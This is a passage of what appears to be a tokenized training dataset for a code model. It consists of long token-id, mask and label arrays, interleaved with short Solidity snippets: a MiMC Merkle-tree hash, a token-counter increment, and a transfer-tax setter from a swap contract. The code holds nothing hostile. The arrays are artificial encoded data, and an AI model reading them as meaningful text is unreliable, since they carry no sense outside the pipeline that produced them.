0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
31827,
2471,
1190,
5623,
288,
203,
225,
2254,
5034,
1071,
5381,
9921,
67,
4574,
273,
576,
2643,
5482,
3247,
6030,
27,
2643,
5520,
5324,
25,
3787,
23622,
1105,
6260,
5608,
25,
2947,
27,
5324,
3361,
5482,
6564,
10261,
1105,
16010,
24,
2313,
4630,
24,
5026,
5718,
10689,
21573,
2643,
9222,
5877,
3672,
5193,
29,
4313,
4033,
31,
203,
203,
225,
2254,
1578,
1071,
7575,
31,
203,
203,
225,
1731,
1578,
8526,
1071,
6300,
1676,
17204,
31,
203,
225,
1731,
1578,
8526,
1071,
4922,
31,
203,
225,
2254,
1578,
1071,
783,
2375,
1016,
273,
374,
31,
203,
225,
2254,
1578,
1071,
22262,
273,
374,
31,
203,
225,
2254,
1578,
1071,
5381,
11011,
67,
31746,
67,
4574,
273,
2130,
31,
203,
225,
1731,
1578,
63,
9185,
67,
31746,
67,
4574,
65,
1071,
12876,
31,
203,
203,
225,
3885,
1435,
1071,
288,
203,
565,
7575,
273,
4200,
31,
203,
203,
565,
1731,
1578,
783,
7170,
273,
1731,
1578,
12,
24968,
67,
4051,
1769,
203,
565,
4922,
18,
6206,
12,
2972,
7170,
1769,
203,
565,
6300,
1676,
17204,
18,
6206,
12,
2972,
7170,
1769,
203,
203,
565,
364,
261,
11890,
1578,
277,
273,
404,
31,
277,
411,
7575,
31,
277,
27245,
288,
203,
1377,
783,
7170,
273,
1651,
3910,
4726,
12,
2972,
7170,
16,
783,
7170,
1769,
203,
1377,
4922,
18,
6206,
12,
2972,
7170,
1769,
203,
1377,
6300,
1676,
17204,
18,
6206,
12,
2972,
7170,
1769,
203,
565,
289,
203,
203,
565,
12876,
63,
20,
65,
273,
1651,
3910,
4726,
12,
2972,
7170,
16,
783,
7170,
1769,
203,
225,
289,
203,
203,
225,
3885,
1435,
1071,
288,
203,
565,
7575,
273,
4200,
31,
203,
203,
565,
1731,
1578,
783,
7170,
273,
1731,
1578,
12,
24968,
67,
4051,
1769,
203,
565,
4922,
18,
6206,
12,
2972,
7170,
1769,
203,
565,
6300,
1676,
17204,
18,
6206,
12,
2972,
7170,
1769,
203,
203,
565,
364,
261,
11890,
1578,
277,
273,
404,
31,
277,
411,
7575,
31,
277,
27245,
288,
203,
1377,
783,
7170,
273,
1651,
3910,
4726,
12,
2972,
7170,
16,
783,
7170,
1769,
203,
1377,
4922,
18,
6206,
12,
2972,
7170,
1769,
203,
1377,
6300,
1676,
17204,
18,
6206,
12,
2972,
7170,
1769,
203,
565,
289,
203,
203,
565,
12876,
63,
20,
65,
273,
1651,
3910,
4726,
12,
2972,
7170,
16,
783,
7170,
1769,
203,
225,
289,
203,
203,
565,
632,
5206,
2474,
576,
2151,
15559,
16,
1135,
490,
77,
20022,
24899,
4482,
16,
389,
4083,
13,
203,
225,
445,
1651,
3910,
4726,
12,
3890,
1578,
389,
4482,
16,
1731,
1578,
389,
4083,
13,
1071,
16618,
1135,
261,
3890,
1578,
13,
288,
203,
565,
2583,
12,
11890,
5034,
24899,
4482,
13,
411,
9921,
67,
4574,
16,
4192,
4482,
1410,
506,
4832,
326,
652,
8863,
203,
565,
2583,
12,
11890,
5034,
24899,
4083,
13,
411,
9921,
67,
4574,
16,
4192,
4083,
1410,
506,
4832,
326,
652,
8863,
203,
565,
2254,
5034,
534,
273,
2254,
5034,
24899,
4482,
1769,
203,
565,
2254,
5034,
385,
273,
374,
31,
203,
565,
261,
54,
16,
385,
13,
273,
2474,
264,
18,
49,
77,
49,
4596,
500,
908,
12,
54,
16,
385,
1769,
203,
565,
534,
273,
527,
1711,
12,
54,
16,
2254,
5034,
24899,
4083,
3631,
9921,
67,
4574,
1769,
203,
565,
261,
54,
16,
385,
13,
273,
2474,
264,
18,
49,
77,
49,
4596,
500,
908,
12,
54,
16,
385,
1769,
203,
565,
327,
1731,
1578,
12,
54,
1769,
203,
225,
289,
203,
203,
225,
445,
389,
6387,
12,
3890,
1578,
389,
12070,
13,
2713,
1135,
12,
11890,
1578,
770,
13,
288,
203,
565,
2254,
1578,
17032,
273,
22262,
31,
203,
565,
2583,
12,
2972,
1016,
480,
2254,
1578,
12,
22,
13,
636,
12095,
16,
315,
8478,
15609,
2151,
353,
1983,
18,
2631,
1898,
7839,
87,
848,
506,
3096,
8863,
203,
565,
22262,
1011,
404,
31,
203,
565,
1731,
1578,
783,
2355,
2310,
273,
389,
12070,
31,
203,
565,
1731,
1578,
2002,
31,
203,
565,
1731,
1578,
2145,
31,
203,
203,
565,
364,
261,
11890,
1578,
277,
273,
374,
31,
277,
411,
7575,
31,
277,
27245,
288,
203,
1377,
309,
261,
2972,
1016,
738,
576,
422,
374,
13,
288,
203,
3639,
2002,
273,
783,
2355,
2310,
31,
203,
3639,
2145,
273,
4922,
63,
77,
15533,
203,
203,
3639,
6300,
1676,
17204,
63,
77,
65,
273,
783,
2355,
2310,
31,
203,
3639,
2002,
273,
6300,
1676,
17204,
63,
77,
15533,
203,
3639,
2145,
273,
783,
2355,
2310,
31,
203,
1377,
289,
203,
203,
1377,
783,
2355,
2310,
273,
1651,
3910,
4726,
12,
4482,
16,
2145,
1769,
203,
203,
1377,
17032,
9531,
576,
31,
203,
565,
289,
203,
203,
565,
783,
2375,
1016,
273,
261,
2972,
2375,
1016,
397,
404,
13,
738,
11011,
67,
31746,
67,
4574,
31,
203,
565,
12876,
63,
2972,
2375,
1016,
65,
273,
783,
2355,
2310,
31,
203,
565,
327,
22262,
300,
404,
31,
203,
225,
289,
203,
203,
225,
445,
389,
6387,
12,
3890,
1578,
389,
12070,
13,
2713,
1135,
12,
11890,
1578,
770,
13,
288,
203,
565,
2254,
1578,
17032,
273,
22262,
31,
203,
565,
2583,
12,
2972,
1016,
480,
2254,
1578,
12,
22,
13,
636,
12095,
16,
315,
8478,
15609,
2151,
353,
1983,
18,
2631,
1898,
7839,
87,
848,
506,
3096,
8863,
203,
565,
22262,
1011,
404,
31,
203,
565,
1731,
1578,
783,
2355,
2310,
273,
389,
12070,
31,
203,
565,
1731,
1578,
2002,
31,
203,
565,
1731,
1578,
2145,
31,
203,
203,
565,
364,
261,
11890,
1578,
277,
273,
374,
31,
277,
411,
7575,
31,
277,
27245,
288,
203,
1377,
309,
261,
2972,
1016,
738,
576,
422,
374,
13,
288,
203,
3639,
2002,
273,
783,
2355,
2310,
31,
203,
3639,
2145,
273,
4922,
63,
77,
15533,
203,
203,
3639,
6300,
1676,
17204,
63,
77,
65,
273,
783,
2355,
2310,
31,
203,
3639,
2002,
273,
6300,
1676,
17204,
63,
77,
15533,
203,
3639,
2145,
273,
783,
2355,
2310,
31,
203,
1377,
289,
203,
203,
1377,
783,
2355,
2310,
273,
1651,
3910,
4726,
12,
4482,
16,
2145,
1769,
203,
203,
1377,
17032,
9531,
576,
31,
203,
565,
289,
203,
203,
565,
783,
2375,
1016,
273,
261,
2972,
2375,
1016,
397,
404,
13,
738,
11011,
67,
31746,
67,
4574,
31,
203,
565,
12876,
63,
2972,
2375,
1016,
2
] |
./full_match/1/0xCbb07CB17f3EF0A10fA881C5E961A29d8367DA37/sources/contracts/words_final.sol
|
@dev Increment the token count and fetch the latest count @return the next token id
|
function incrementToken() internal virtual ensureAvailability returns (uint256) {
uint256 token = _tokenCount.current();
_tokenCount.increment();
return token;
}
| 4,857,680 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
5206,
17883,
326,
1147,
1056,
471,
2158,
326,
4891,
1056,
632,
2463,
326,
1024,
1147,
612,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
5504,
1345,
1435,
2713,
5024,
3387,
10427,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
1147,
273,
389,
2316,
1380,
18,
2972,
5621,
203,
565,
389,
2316,
1380,
18,
15016,
5621,
203,
565,
327,
1147,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x5012c3EEb1DD14DE23617Ea510Ce0E7db10aE42E/sources/pantherswap.sol
|
* @dev Update the transfer tax rate. Can only be called by the current operator./
|
function updateTransferTaxRate(uint16 _transferTaxRate) public onlyOperator {
require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "NFTGAME::updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate.");
emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate);
transferTaxRate = _transferTaxRate;
}
| 8,226,210 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
2315,
326,
7412,
5320,
4993,
18,
4480,
1338,
506,
2566,
635,
326,
783,
3726,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
